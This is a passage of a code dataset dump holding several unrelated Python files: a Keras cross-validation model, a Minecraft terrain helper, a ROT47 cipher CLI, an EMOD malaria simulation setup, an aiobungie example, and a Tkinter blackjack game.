  x = layers.Dense(nlayer1, activation='relu')(x)\n    x = layers.Dropout(.3)(x)\n    x = layers.BatchNormalization()(x)\n\n    x = layers.Dense(nlayer2, activation='relu')(x)\n    x = layers.Dropout(.3)(x)\n    x = layers.BatchNormalization()(x)\n\n    y = layers.Dense(1, activation='sigmoid')(x)\n    # y = layers.Dense(2, activation=\"softmax\")(x)\n\n    model = Model(inputs=[inputs, inp_num_data], outputs=y )\n\n    return model\n\ntest_data = [test_df.loc[:,f].values for f in cat_features]\ntest_data_nump = test_df[num_features].values\ntest_data.append(test_data_nump)\n# summing the num_flods predictions\ntest_predictions = np.zeros(len(test_df))\nkfold_predictions = np.zeros(len(test_df))\n\nfor kfold in range(num_folds):\n    # kfold train and test datasets\n    kf_train_df = train_df[train_df.kfold.values != kfold]\n    kf_test_df  = train_df[train_df.kfold.values == kfold]\n    kf_train_df.reset_index(inplace=True)\n    kf_test_df .reset_index(inplace=True)\n    kf_y_train = kf_train_df.target.values\n    kf_y_test  = kf_test_df .target.values\n    # prepare data for the model\n    kf_train_data = [kf_train_df.loc[:,f].values for f in cat_features]\n    # print(kf_train_data)\n    kf_train_data_nump = kf_train_df[num_features].values\n    kf_train_data.append(kf_train_data_nump)\n    # print(kf_train_data)\n    kf_test_data  = [kf_test_df .loc[:,f].values for f in cat_features]\n    kf_test_data_nump = kf_test_df[num_features].values\n    kf_test_data.append(kf_test_data_nump)\n\n    # val_auc === validation AUC\n    es_cb = callbacks.EarlyStopping(monitor='val_auc', min_delta=0.001, patience=5, verbose=2, mode='max', baseline=None, restore_best_weights=True)\n    rlr_cb = callbacks.ReduceLROnPlateau(monitor='val_auc', factor=0.5, patience=3, min_lr=1e-6, mode='max', verbose=2)\n    tensorboard_cb = tf.keras.callbacks.TensorBoard(log_dir=f\"./logs4/{log_name}_{nlayer1}_{nlayer2}_{kfold}\", update_freq=1,histogram_freq=1, )\n\n    print(line,kfold,line)\n    print('kfold train', kf_train_df.shape, kf_train_df.kfold.unique())\n    print('kfold test', kf_test_df.shape, kf_test_df.kfold.unique())\n    model = get_model(kf_train_df, cat_features, num_features, nlayer1, nlayer2)\n    opt = optimizers.Adam(learning_rate=0.0005)\n\n    model.compile(loss='binary_crossentropy', optimizer=opt, metrics=[auc])#, run_eagerly=True)\n    # print(model.summary())\n    print(len(kf_train_data))\n    # for i, d in enumerate(kf_train_data):\n    #     print(i, d)\n    model.fit(kf_train_data,\n                kf_y_train,\n                batch_size=1024,\n                callbacks=[tensorboard_cb, es_cb, rlr_cb],\n                epochs=epochs*kfold+epochs,\n                validation_data=(kf_test_data, kf_y_test),\n                validation_steps=1,\n                initial_epoch=epochs*kfold,\n                )\n                # validation_data=[kf_test_data, kf_y_test])\n    print('Predicting... kfold test #', kfold)\n    kfold_prediction = model.predict(kf_test_data).ravel()\n    # kfold_predictions = kfold_prediction\n    \n    cm = mm.ClassificationMetrics()\n    print(f'KFold:{kfold}\\t AUC', cm('auc', kf_y_test, None, y_proba=kfold_prediction))\n    print('Predicting... test data')\n    test_predictions += model.predict(test_data).ravel()    \n\n    # reset keras state\n    # model.save(f'./model/model_{kfold}_{epochs}')\n    K.clear_session()\n\nprint('Done Training')\ntest_predictions /= num_folds\nprint(\"Predicting Test Data...\")\nprint(test_predictions)\n\nsub = pd.DataFrame.from_dict({'id':test_df['id'].values,'target': test_predictions.ravel()})\nprint(sub.head())\nsub.to_csv(f'./input/submition_{nlayer1}_{nlayer2}.csv', index=False)","repo_name":"shmalex/torch_play","sub_path":"kaggle/categorical-features/src/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":9277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"75130351734","text":"import numpy as np\r\nfrom gdpc import Editor\r\nED = Editor(buffering=True)\r\n\r\ndef calcGoodHeightmap(worldSlice):\r\n    area=[]\r\n    hm_mbnl = worldSlice.heightmaps[\"MOTION_BLOCKING_NO_LEAVES\"]\r\n    heightmap = hm_mbnl[:]\r\n    wS_area = worldSlice.rect\r\n    #areaを変換\r\n    area.append(wS_area.offset[0])\r\n    area.append(wS_area.offset[1])\r\n    area.append(wS_area.size[0])\r\n    area.append(wS_area.size[1])\r\n\r\n    print(area)\r\n    test=0\r\n    chikeyi=[[0 for i in range(area[3])]for j in range(area[2])]\r\n    cnt = 0\r\n    flag = True\r\n    for x in range(area[2]):\r\n        for z in range(area[3]):\r\n            while True:\r\n                y = heightmap[x, z]\r\n                block_info= worldSlice.getBlock((area[0] + x, y - 1, area[1] + z))\r\n                block = block_info.id\r\n                if 'water' in block:\r\n                    chikeyi[x][z]= 0\r\n                    cnt += 1\r\n                elif 'grass_block' in block:\r\n                    chikeyi[x][z]= 1\r\n                elif 'sand' in block:\r\n                    chikeyi[x][z]= 2\r\n                elif 'stone' in block and block!=\"cobblestone\":\r\n                    chikeyi[x][z]= 3\r\n                else:\r\n                    chikeyi[x][z]= 4\r\n                if block[-4:] == '_log':\r\n                    heightmap[x, z] -= 1\r\n                else:\r\n                    break\r\n    if (cnt/(area[2]*area[3]))<0.6:\r\n        flag = False\r\n    return np.array(np.minimum(hm_mbnl, heightmap)),chikeyi,flag","repo_name":"GDMC-Group2/PandaVision","sub_path":"tools/getEnv.py","file_name":"getEnv.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"42480927030","text":"#!/usr/bin/python3\n\"\"\"Module includes print_square function for \nlearning to make test files\n\"\"\"\n\n\ndef print_square(size):\n    \"\"\"prints a square of size\n    \n    Args:\n        size(int): length of the sides of the square\n    \"\"\"\n    if type(size) is not int:\n        raise TypeError(\"size must be an integer\")\n    if size < 0:\n        raise ValueError(\"size must be >= 0\")\n    if type(size) is float and size < 0:\n        raise TypeError(\"size must be an integer\")\n    \n    for x in range(size):\n        print(\"#\" * size)\n","repo_name":"Hope-Parnell/holbertonschool-higher_level_programming","sub_path":"0x07-python-test_driven_development/4-print_square.py","file_name":"4-print_square.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"34743553432","text":"import click\n\n\nclass Rot:\n\n    def __init__(self, option, message):\n        self.message = message\n        self.choice = option\n        self.encoded_message = \"\"\n        self.decoded_message = \"\"\n        self.key = 47\n        self.number = 0\n        self.run = True\n        self.again = ''\n\n    def encode(self):\n        for x in self.message:\n            self.number = ord(x)\n            self.number += self.key\n            if self.number < 32:\n                self.number += 32\n            elif self.number > 126:\n                self.number = (self.number - 126) + 32\n            self.encoded_message += chr(self.number)\n\n        return self.encoded_message\n\n    def decode(self):\n        for x in self.message:\n            self.number = ord(x)\n            self.number -= self.key\n            if self.number < 32:\n                self.number = 126 - (32 - self.number)\n            self.decoded_message += chr(self.number)\n\n        return self.decoded_message\n\n\nclass FileOperator:\n\n    cipher_text = ''\n\n    def __init__(self, file_name):\n        self.file_name = file_name\n        self.read_list = ''\n\n    def read_file(self):\n        with open(self.file_name, 'r') as f:\n            read_list = f.read()\n        return read_list\n\n    def save_file(self, cipher_text):\n        with open(self.file_name, 'w') as f:\n            f.write(cipher_text)\n        return self.file_name\n\n\n@click.command()\n@click.argument('option')\n@click.argument('message')\ndef configuration(option, message):\n    game = Rot(option, message)\n    if message.endswith('.txt'):\n        game_file = FileOperator(message)\n        new_message = game_file.read_file()\n        game_2 = Rot(option, new_message)\n\n        if option.startswith('en'):\n            cipher_message = game_2.encode()\n            game_file.save_file(cipher_message)\n        elif option.startswith('de'):\n            cipher_message = game_2.decode()\n            game_file.save_file(cipher_message)\n    else:\n        if option.startswith('en'):\n            print(game.encode())\n        elif option.startswith('de'):\n            print(game.decode())\n        else:\n            print('You wrote sth wrong...')\n\n\nif __name__ == '__main__':\n    configuration()\n\n","repo_name":"rafalwilk4ti1/synapsi","sub_path":"code/rot47_oppNF.py","file_name":"rot47_oppNF.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"1150599571","text":"import pathlib\r\nimport os\r\nfrom functools import \\\r\n    partial \r\nimport numpy as np\r\nimport time\r\n \r\n#idmtools   \r\nfrom idmtools.assets import Asset, AssetCollection  \r\nfrom idmtools.builders import SimulationBuilder\r\nfrom idmtools.core.platform_factory import Platform\r\nfrom idmtools.entities.experiment import Experiment\r\n\r\n#emodpy\r\nfrom emodpy.emod_task import EMODTask\r\nfrom emodpy.utils import EradicationBambooBuilds\r\nfrom emodpy.bamboo import get_model_files\r\nimport emod_api.config.default_from_schema_no_validation as dfs\r\nimport emod_api.campaign as camp\r\nimport emod_api.interventions.common as common#added for change properties\r\n\r\nfrom emod_api import schema_to_class as s2c#added for change properties\r\n\r\n#emodpy-malaria\r\nimport emodpy_malaria.demographics.MalariaDemographics as Demographics\r\nimport emodpy_malaria.interventions.treatment_seeking as cm\r\nimport emod_api.demographics.PreDefinedDistributions as Distributions\r\nfrom emodpy_malaria.reporters.builtin import *\r\n\r\n\r\n\r\nimport manifest\r\n\r\n\r\n#sim_years = 1\r\n# as a global variable at the top of the script, like sim_years that we use to define simulation duration:\r\n#serialize_years = 50\r\nserialize_years = 2\r\nnum_seeds = 3 #sets the number of random seeds\r\n\r\n\r\n###CONFIG######\r\n#change all config parameters here\r\ndef set_param_fn(config):\r\n    \"\"\"\r\n    This function is a callback that is passed to emod-api.config to set config parameters, including the malaria defaults.\r\n    \"\"\"\r\n    import emodpy_malaria.malaria_config as conf\r\n    config = conf.set_team_defaults(config, manifest)\r\n\r\n    config.parameters.Air_Temperature_Filename = os.path.join('climate','example_air_temperature_daily.bin')\r\n    config.parameters.Land_Temperature_Filename = os.path.join('climate','example_air_temperature_daily.bin')\r\n    config.parameters.Rainfall_Filename = os.path.join('climate','example_rainfall_daily.bin')\r\n    config.parameters.Relative_Humidity_Filename = os.path.join('climate', 'example_relative_humidity_daily.bin')\r\n\r\n    conf.add_species(config, manifest, [\"gambiae\", \"arabiensis\", \"funestus\"])\r\n\r\n    config.parameters.Simulation_Duration = serialize_years*365\r\n    config.parameters.Run_Number = 0\r\n    config.parameters.x_Temporary_Larval_Habitat = 0.316228\r\n    config.parameters.x_Birth = 3.62\r\n\r\n\r\n    # add to config parameter setup\r\n    config.parameters.Base_Individual_Sample_Rate = 1   \r\n    config.parameters.Inset_Chart_Include_Pregnancies = 1\r\n    \r\n    config.parameters.Serialized_Population_Writing_Type = \"TIMESTEP\"\r\n    config.parameters.Serialization_Time_Steps = [365 * serialize_years]\r\n    config.parameters.Serialization_Mask_Node_Write = 0\r\n    config.parameters.Serialization_Precision = \"REDUCED\"\r\n    return config\r\n  \r\n\r\n# This creats a function with parameters param and values which can be used later in the sim builder to generate sweeps over a parameter\r\ndef set_param(simulation, param, value):\r\n    \"\"\"\r\n    Set specific parameter value\r\n    Args:\r\n        simulation: idmtools Simulation\r\n        param: parameter\r\n        value: new value\r\n    Returns:\r\n        dict\r\n    \"\"\"\r\n    return simulation.task.set_parameter(param, value)\r\n\r\n###CAMPAIGNS#######\r\ndef build_camp():\r\n    \"\"\"\r\n    This function builds a campaign input file for the DTK using emod_api.\r\n    \"\"\"\r\n\r\n    camp.set_schema(manifest.schema_file)\r\n\r\n    common.change_individual_property_triggered(camp, \r\n                              new_ip_key='Pregnancy', new_ip_value='IsPregnant',\r\n                              target_sex=\"Female\", triggers=['Pregnant'], daily_prob = 1, revert_in_days = -1, blackout=True)\r\n    common.change_individual_property_triggered(camp, \r\n                              new_ip_key='Pregnancy', new_ip_value='NotPregnant',\r\n                              target_sex=\"Female\", triggers=['GaveBirth'],daily_prob = 1, revert_in_days = -1, blackout=True)\r\n    return camp\r\n\r\n\r\n###DEMOGRAPHIC######\r\ndef build_demog():\r\n    \"\"\"\r\n    This function builds a demographics input file for the DTK using emod_api.\r\n    \"\"\"\r\n\r\n    demog = Demographics.from_template_node(lat=5.7376, lon=-0.4404, pop=3000, name=\"Example_Site\")\r\n    #demog.SetEquilibriumVitalDynamics()\r\n\r\n    age_distribution = Distributions.AgeDistribution_SSAfrica\r\n    demog.SetAgeDistribution(age_distribution)\r\n    \r\n\r\n    \r\n    # Add custom IP to demographics                              \r\n    initial_distribution = [1, 0] \r\n    demog.AddIndividualPropertyAndHINT(Property=\"Pregnancy\", Values=[\"NotPregnant\", \"IsPregnant\"],\r\n                                        InitialDistribution=initial_distribution)\r\n    \r\n    return demog\r\n\r\ndef general_sim(selected_platform):\r\n    \"\"\"\r\n    This function is designed to be a parameterized version of the sequence of things we do \r\n    every time we run an emod experiment. \r\n    \"\"\"\r\n\r\n    # Set platform and associated values, such as the maximum number of jobs to run at one time\r\n    platform = Platform(selected_platform, job_directory=manifest.job_directory, partition='b1139', time='2:00:00',\r\n                            account='b1139', modules=['singularity'], max_running_jobs=10)\r\n\r\n    # create EMODTask \r\n    print(\"Creating EMODTask (from files)...\")\r\n\r\n    \r\n    task = EMODTask.from_default2(\r\n        config_path=\"config.json\",\r\n        eradication_path=manifest.eradication_path,\r\n        campaign_builder=build_camp,\r\n        schema_path=manifest.schema_file,\r\n        param_custom_cb=set_param_fn,\r\n        ep4_custom_cb=None,\r\n        demog_builder=build_demog,\r\n        plugin_report=None\r\n    )\r\n    \r\n    \r\n    # set the singularity image to be used when running this experiment\r\n    task.set_sif(manifest.SIF_PATH, platform)\r\n    task.config.parameters.Birth_Rate_Dependence = \"INDIVIDUAL_PREGNANCIES\"\r\n    event_list=['Pregnant','GaveBirth']\r\n    task.config.parameters.Custom_Individual_Events = ['Ind_Property_Blackout']\r\n    \r\n    #add weather directory as an asset\r\n    task.common_assets.add_directory(os.path.join(manifest.input_dir, \"example_weather\", \"out\"), relative_path=\"climate\")\r\n    \r\n    # Create simulation sweep with builder\r\n    builder = SimulationBuilder()\r\n    builder.add_sweep_definition(partial(set_param, param='Run_Number'), range(num_seeds))\r\n\r\n\r\n    #adding event recorder\r\n    add_event_recorder(task, event_list=event_list,\r\n                        start_day=1, end_day=serialize_years*365,\r\n                        min_age_years=0,\r\n                        max_age_years=100,\r\n                        ips_to_record=['Pregnancy'],\r\n                        property_change_ip_to_record=\"Pregnancy\"\r\n                        )\r\n\r\n    # create experiment from builder\r\n    user = os.getlogin()\r\n    experiment = Experiment.from_builder(builder, task, name= f'{user}_FE_example_burnin50_IP')\r\n\r\n\r\n    # The last step is to call run() on the ExperimentManager to run the simulations.\r\n    experiment.run(wait_until_done=False, platform=platform)\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    import emod_malaria.bootstrap as dtk\r\n    import pathlib\r\n\r\n    dtk.setup(pathlib.Path(manifest.eradication_path).parent)\r\n\r\n    selected_platform = \"SLURM_LOCAL\"\r\n    general_sim(selected_platform)\r\n","repo_name":"RickyRichterNU/asking_for_help","sub_path":"run_burnin.py","file_name":"run_burnin.py","file_ext":"py","file_size_in_byte":7158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"21431445518","text":"\"\"\"A simple example on how aiobungie functions.\"\"\"\n\nimport aiobungie\n\nclient = aiobungie.Client(\"TOKEN\")\n\n\nasync def fetch_me() -> None:\n\n    # fetch a Destiny 2 Player.\n\n    # NOTE that the name has to be the new bungie name\n    # With the code as well like this one.\n\n    # returns all Destiny 2 available memberships for the player.\n    fate = await client.fetch_player(\"Fate怒\", 4275)\n\n    for membership in fate:\n        print(membership)\n\n        if membership.type is aiobungie.MembershipType.STEAM:\n            print(\"Found steam membership!\", membership)\n\n            # Fetch this membership's profile with all components.\n            profile = await membership.fetch_self_profile(\n                components=[aiobungie.ComponentType.ALL]\n            )\n\n            # Print the profile characters component for this membership.\n            print(profile.characters)\n\n\nclient.run(fetch_me())\n","repo_name":"GregShiner/aiobungie","sub_path":"examples/hello_world.py","file_name":"hello_world.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"706006959","text":"from tkinter import *\nimport random\nfrom PIL import Image, ImageTk\n\nimport Agent\n\nagent = Agent.Agent(0.5, 0.5, 100000)\npolicy = agent.play()\n\nroot = Tk()\nroot.title('Card Deck')\nroot.geometry(\"1200x900\")\nroot.configure(background=\"green\")\n\n# Stand\ndef stand():\n\tglobal player_total, dealer_total, player_score, has_stayed\n\n\thas_stayed = True\n\n\t# Keep track of score totals\n\tplayer_total = 0\n\tdealer_total = 0\n\n\t# Get the dealers score total\n\tfor score in dealer_score:\n\t\t# Add up score\n\t\tdealer_total += score\n\n\t# Loop thru player score list and add up cards\n\tfor score in player_score:\n\t\t# Add up score\n\t\tplayer_total += score\n\n\t# Freeze the buttons\n\tcard_button.config(state=\"disabled\")\n\tstand_button.config(state=\"disabled\")\n\n\tlabel.config(text=\"BYE\")\n\tplayer_total = sum(player_score)\n\tdealer_total = sum(dealer_score)\n\tplayer_count.config(text=player_total)\n\tdealer_count.config(text=dealer_total)\n\n\t# Logic\n\tif dealer_total >= 17:\n\t\t# Check if bust\n\t\tif dealer_total > 21:\n\t\t\t# Bust\n\t\t\t# messagebox.showinfo(\"Player Wins!!\", f\"Player Wins!  Dealer: {dealer_total}  Player: {player_total}\")\n\t\t\tstatus.config(text=\"Dealer Busts! Player Wins!\")\n\t\telif dealer_total == player_total:\n\t\t\t# Tie\n\t\t\t# messagebox.showinfo(\"Tie!!\", f\"It's a Tie!!  Dealer: {dealer_total}  Player: {player_total}\")\n\t\t\tstatus.config(text=\"Tie!\")\n\t\telif dealer_total > player_total:\n\t\t\t# Dealer wins\n\t\t\t# messagebox.showinfo(\"Dealer Wins!!\", f\"Dealer Wins!  Dealer: {dealer_total}  Player: {player_total}\")\n\t\t\tstatus.config(text=\"Dealer Wins!\")\n\t\telse:\n\t\t\t# Player Wins!\n\t\t\t# messagebox.showinfo(\"Player Wins!!\", f\"Player Wins!  Dealer: {dealer_total}  Player: {player_total}\")\n\t\t\tstatus.config(text=\"Player Wins!\")\n\t\tdealer_label_2.config(image=hidden_card)\n\telse:\n\t\t# Add Card To Dealer\n\t\tdealer_hit()\n\t\t# Recalculate Stuff\n\t\tstand()\n\n# Test for blackjack on shuffle\ndef blackjack_shuffle(player):\n\tglobal player_total, dealer_total, player_score, has_stayed\n\n\t# Keep track of score totals\n\tplayer_total = 0\n\tdealer_total = 0\n\tif player == \"dealer\":\n\t\tif len(dealer_score) == 2:\n\t\t\tif has_stayed:\n\t\t\t\tif dealer_score[0] + dealer_score[1] == 21:\n\t\t\t\t\t# Update status\n\t\t\t\t\tblackjack_status[\"dealer\"] = \"yes\"\n\n\tif player == \"player\":\n\t\tif len(player_score) == 2:\n\t\t\tif player_score[0] + player_score[1] == 21:\n\t\t\t\t# Update status\n\t\t\t\tblackjack_status[\"player\"] = \"yes\"\n\t\telse:\n\t\t\t# Loop thru player score list and add up cards\n\t\t\tfor score in player_score:\n\t\t\t\t# Add up score\n\t\t\t\tplayer_total += score\n\n\t\t\tif player_total == 21:\n\t\t\t\tblackjack_status[\"player\"] = \"yes\"\n\t\t\t\n\t\t\telif player_total > 21:\n\t\t\t\t# Check for ace conversion\n\t\t\t\tfor card_num, card in enumerate(player_score):\n\t\t\t\t\tif card == 11:\n\t\t\t\t\t\tplayer_score[card_num] = 1\n\n\t\t\t\t\t\t# Clear player total and recalculate\n\t\t\t\t\t\tplayer_total = 0\n\t\t\t\t\t\tfor score in player_score:\n\t\t\t\t\t\t\t# Add up score\n\t\t\t\t\t\t\tplayer_total += score\n\t\t\t\t\t\t\n\t\t\t\t\t\t# Check for over 21\n\t\t\t\t\t\tif player_total > 21:\n\t\t\t\t\t\t\tblackjack_status[\"player\"] = \"bust\"\n\n\t\t\t\telse:\n\t\t\t\t\t# Check new totals for 21 or over 21\n\t\t\t\t\tif player_total == 21:\n\t\t\t\t\t\tblackjack_status[\"player\"] = \"yes\"\n\t\t\t\t\tif player_total > 21:\n\t\t\t\t\t\tblackjack_status[\"player\"] = \"bust\"\n\n\tif len(dealer_score) == 2 and len(player_score) == 2:\n\t\t# Check For Push/Tie\n\t\tif blackjack_status[\"dealer\"] == \"yes\" and blackjack_status[\"player\"] == \"yes\":\n\t\t\t# It's a push - tie\n\t\t\t# messagebox.showinfo(\"Push!\", \"It's a Tie!\")\n\t\t\tstatus.config(text=\"Push! It's a Tie!\")\n\t\t\tcard_button.config(state=\"disabled\")\n\t\t\tstand_button.config(state=\"disabled\")\n\t\t\n\t\t# Check for Dealer Win\n\t\telif blackjack_status[\"dealer\"] == \"yes\":\n\t\t\t# messagebox.showinfo(\"Dealer Wins!\", \"Blackjack! Dealer Wins!\")\n\t\t\tstatus.config(text=\"Dealer Wins! Blackjack!\")\n\n\t\t\t# Disable buttons\n\t\t\tcard_button.config(state=\"disabled\")\n\t\t\tstand_button.config(state=\"disabled\")\n\n\t\t# Check For Player Win\n\t\telif blackjack_status[\"player\"] == \"yes\":\n\t\t\t# messagebox.showinfo(\"Player Wins! Blackjack!\")\n\t\t\tstatus.config(text=\"Player Wins! Blackjack!\")\n\t\t\t\n\t\t\t# Disable buttons\n\t\t\tcard_button.config(state=\"disabled\")\n\t\t\tstand_button.config(state=\"disabled\")\n\t\n\t# Check for 21 during the game\n\telse:\n\t\t# Check For Push/Tie\n\t\tif blackjack_status[\"dealer\"] == \"yes\" and blackjack_status[\"player\"] == \"yes\":\n\t\t\t# It's a push - tie\n\t\t\t# messagebox.showinfo(\"Push!\", \"It's a Tie!\")\n\t\t\tstatus.config(text=\"Push! It's a Tie!\")\n\t\t\tcard_button.config(state=\"disabled\")\n\t\t\tstand_button.config(state=\"disabled\")\n\t\t\n\t\t# Check for Dealer Win\n\t\t# elif blackjack_status[\"dealer\"] == \"yes\":\n\t\t# \t# messagebox.showinfo(\"Dealer Wins!\", \"21! Dealer Wins!\")\n\t\t# \tstatus.config(text=\"Dealer Wins! Blackjack!\")\n\n\t\t# \t# Disable buttons\n\t\t# \tcard_button.config(state=\"disabled\")\n\t\t# \tstand_button.config(state=\"disabled\")\n\n\t\t# # Check For Player Win\n\t\t# elif blackjack_status[\"player\"] == \"yes\":\n\t\t# \tmessagebox.showinfo(\"Player Wins!\", \"21! Player Wins!\")\n\t\t# \t# Disable buttons\n\t\t# \tcard_button.config(state=\"disabled\")\n\t\t# \tstand_button.config(state=\"disabled\")\n\n\t# Check for player bust\n\tif blackjack_status[\"player\"] == \"bust\":\n\t\t# messagebox.showinfo(\"Player Busts!\", f\"Player Loses! {player_total}\")\n\t\tstatus.config(text=\"Player Busts! Player Loses!\")\n\t\t# Disable buttons\n\t\tcard_button.config(state=\"disabled\")\n\t\tstand_button.config(state=\"disabled\")\n\n# Resize Cards\ndef resize_cards(card):\n\t# Open the image\n\tour_card_img = Image.open(card)\n\n\t# Resize The Image\n\tour_card_resize_image = our_card_img.resize((150, 218))\n\t\n\t# output the card\n\tglobal our_card_image\n\tour_card_image = ImageTk.PhotoImage(our_card_resize_image)\n\n\t# Return that card\n\treturn our_card_image\n\n# Resize Clippy\ndef resize_clippy(clippy):\n\n\tclippy_img = Image.open(clippy)\n\n\tclippy_resize_img = clippy_img.resize((50, 50))\n\n\tglobal clippy_image\n\tclippy_image = ImageTk.PhotoImage(clippy_resize_img)\n\t\n\treturn clippy_image\n\n# Shuffle The Cards\ndef shuffle():\n\t# Keep track of winning\n\tglobal blackjack_status, player_total, dealer_total, has_stayed\n\n\t# Keep track if player has stayed.\n\thas_stayed = False\n\t\n\t# Keep track of score totals\n\tplayer_total = 0\n\tdealer_total = 0\n\n\tblackjack_status = {\"dealer\":\"no\", \"player\":\"no\"}\n\tstatus.config(text=\"Playing...\")\n\n\t# Enable buttons\n\tcard_button.config(state=\"normal\")\n\tstand_button.config(state=\"normal\")\n\n\t# Clear all the old cards from previous games\n\tdealer_label_1.config(image='')\n\tdealer_label_2.config(image='')\n\tdealer_label_3.config(image='')\n\tdealer_label_4.config(image='')\n\tdealer_label_5.config(image='')\n\n\tplayer_label_1.config(image='')\n\tplayer_label_2.config(image='')\n\tplayer_label_3.config(image='')\n\tplayer_label_4.config(image='')\n\tplayer_label_5.config(image='')\n\n\t# Define Our Deck\n\tsuits = [\"diamonds\", \"clubs\", \"hearts\", \"spades\"]\n\tvalues = range(2, 15)\n\t# 11 = Jack, 12=Queen, 13=King, 14 = Ace\n\n\tglobal deck\n\tdeck =[]\n\n\tfor suit in suits:\n\t\tfor value in values:\n\t\t\tdeck.append(f'{value}_of_{suit}')\n\n\t# Create our players\n\tglobal dealer, player, dealer_spot, player_spot, dealer_score, player_score\n\tdealer = []\n\tplayer = []\n\tdealer_score = []\n\tplayer_score = []\n\tdealer_spot = 0\n\tplayer_spot = 0\n\n\t# Shuffle Two Cards for player and dealer\n\tdealer_hit()\n\tdealer_hit()\n\n\tplayer_hit()\n\tplayer_hit()\n\n\t# Put number of remaining cards in title bar\n\troot.title(f'{len(deck)} Cards Left')\n\n# Draw a card for the dealer\ndef dealer_hit():\n\tglobal dealer_spot\n\tglobal hidden_card\n\tglobal player_total, dealer_total, player_score\n\n\tif dealer_spot <= 5:\n\t\ttry:\n\t\t\t# Get the player Card\n\t\t\tdealer_card = random.choice(deck)\n\t\t\t# Remove Card From Deck\n\t\t\tdeck.remove(dealer_card)\n\t\t\t# Append Card To Dealer List\n\t\t\tdealer.append(dealer_card)\n\t\t\t# Append to dealer score list and convert facecards to 10 or 11\n\t\t\tdcard = int(dealer_card.split(\"_\", 1)[0])\n\t\t\tif dcard == 14:\n\t\t\t\tdealer_score.append(11)\n\t\t\telif dcard == 11 or dcard == 12 or dcard == 13:\n\t\t\t\tdealer_score.append(10)\n\t\t\telse:\n\t\t\t\tdealer_score.append(dcard)\n\n\t\t\t# Output Card To Screen\n\t\t\tglobal dealer_image1, dealer_image2, dealer_image3, dealer_image4, dealer_image5\n\t\t\t\n\t\t\t\n\t\t\tif dealer_spot == 0:\n\t\t\t\t# Resize Card\n\t\t\t\tdealer_image1 = resize_cards(f'cards/{dealer_card}.png')\n\t\t\t\t# Output Card To Screen\n\t\t\t\tdealer_label_1.config(image=dealer_image1)\n\t\t\t\t# Increment our player spot counter\n\t\t\t\tdealer_spot += 1\n\t\t\telif dealer_spot == 1:\n\t\t\t\t# Resize Card\n\t\t\t\tdealer_image2 = resize_cards('cards/blank.png')\n\t\t\t\thidden_card= resize_cards(f'cards/{dealer_card}.png')\n\t\t\t\t# Output Card To Screen\n\t\t\t\tdealer_label_2.config(image=dealer_image2)\n\t\t\t\t# Increment our player spot counter\n\t\t\t\tdealer_spot += 1\n\t\t\telif dealer_spot == 2:\n\t\t\t\t# Resize Card\n\t\t\t\tdealer_image3 = resize_cards(f'cards/{dealer_card}.png')\n\t\t\t\t# Output Card To Screen\n\t\t\t\tdealer_label_3.config(image=dealer_image3)\n\t\t\t\t# Increment our player spot counter\n\t\t\t\tdealer_spot += 1\n\t\t\telif dealer_spot == 3:\n\t\t\t\t# Resize Card\n\t\t\t\tdealer_image4 = resize_cards(f'cards/{dealer_card}.png')\n\t\t\t\t# Output Card To Screen\n\t\t\t\tdealer_label_4.config(image=dealer_image4)\n\t\t\t\t# Increment our player spot counter\n\t\t\t\tdealer_spot += 1\n\t\t\telif dealer_spot == 4:\n\t\t\t\t# Resize Card\n\t\t\t\tdealer_image5 = resize_cards(f'cards/{dealer_card}.png')\n\t\t\t\t# Output Card To Screen\n\t\t\t\tdealer_label_5.config(image=dealer_image5)\n\t\t\t\t# Increment our player spot counter\n\t\t\t\tdealer_spot += 1\n\n\t\t\t\t# See if 5 card bust\n\t\t\t\t# grab our totals\n\t\t\t\tplayer_total = 0\n\t\t\t\tdealer_total = 0\n\n\t\t\t\t# get player score\n\t\t\t\tfor score in player_score:\n\t\t\t\t\tplayer_total += score\n\n\t\t\t\t# get player score\n\t\t\t\tfor score in dealer_score:\n\t\t\t\t\tdealer_total += score\n\n\t\t\t\t# Check to see if <= 21\n\t\t\t\tif dealer_total <= 21:\n\t\t\t\t\t# We win!!\n\t\t\t\t\t# Disable buttons\n\t\t\t\t\tcard_button.config(state=\"disabled\")\n\t\t\t\t\tstand_button.config(state=\"disabled\")\n\n\t\t\t\t\t# Pop up a message box!\n\t\t\t\t\t# messagebox.showinfo(\"Dealer Wins!!\", f\"Dealer Wins! Dealer:{dealer_total}   Player: {player_total}\")\n\t\t\t\t\tstatus.config(text=\"Dealer Wins!!\")\n\n\t\t\t# Put number of remaining cards in title bar\n\t\t\troot.title(f'{len(deck)} Cards Left')\n\n\t\texcept:\n\t\t\troot.title(f'No Cards In Deck')\n\n\t\t# Check for blackjack\n\t\tblackjack_shuffle(\"dealer\")\n\n\tplayer_count.config(text=player_total)\n\tdealer_count.config(text=dealer_total)\n\n\t# playerHand = sum(player_score)\n\t# dealerFaceUp = dealer_score[0]\n\t# suggestion = policy[(playerHand, dealerFaceUp, False)]\n\t# print(suggestion)\n\n# Draw a card for the player\ndef player_hit():\n\tglobal player_spot\n\tglobal player_total, dealer_total, player_score\n\tif player_spot <= 5:\n\t\ttry:\n\t\t\t# Get the player Card\n\t\t\tplayer_card = random.choice(deck)\n\t\t\t# Remove Card From Deck\n\t\t\tdeck.remove(player_card)\n\t\t\t# Append Card To Dealer List\n\t\t\tplayer.append(player_card)\n\n\t\t\t# Append to dealer score list and convert facecards to 10 or 11\n\t\t\tpcard = int(player_card.split(\"_\", 1)[0])\n\t\t\tif pcard == 14:\n\t\t\t\tplayer_score.append(11)\n\t\t\telif pcard == 11 or pcard == 12 or pcard == 13:\n\t\t\t\tplayer_score.append(10)\n\t\t\telse:\n\t\t\t\tplayer_score.append(pcard)\n\n\t\t\t# Output Card 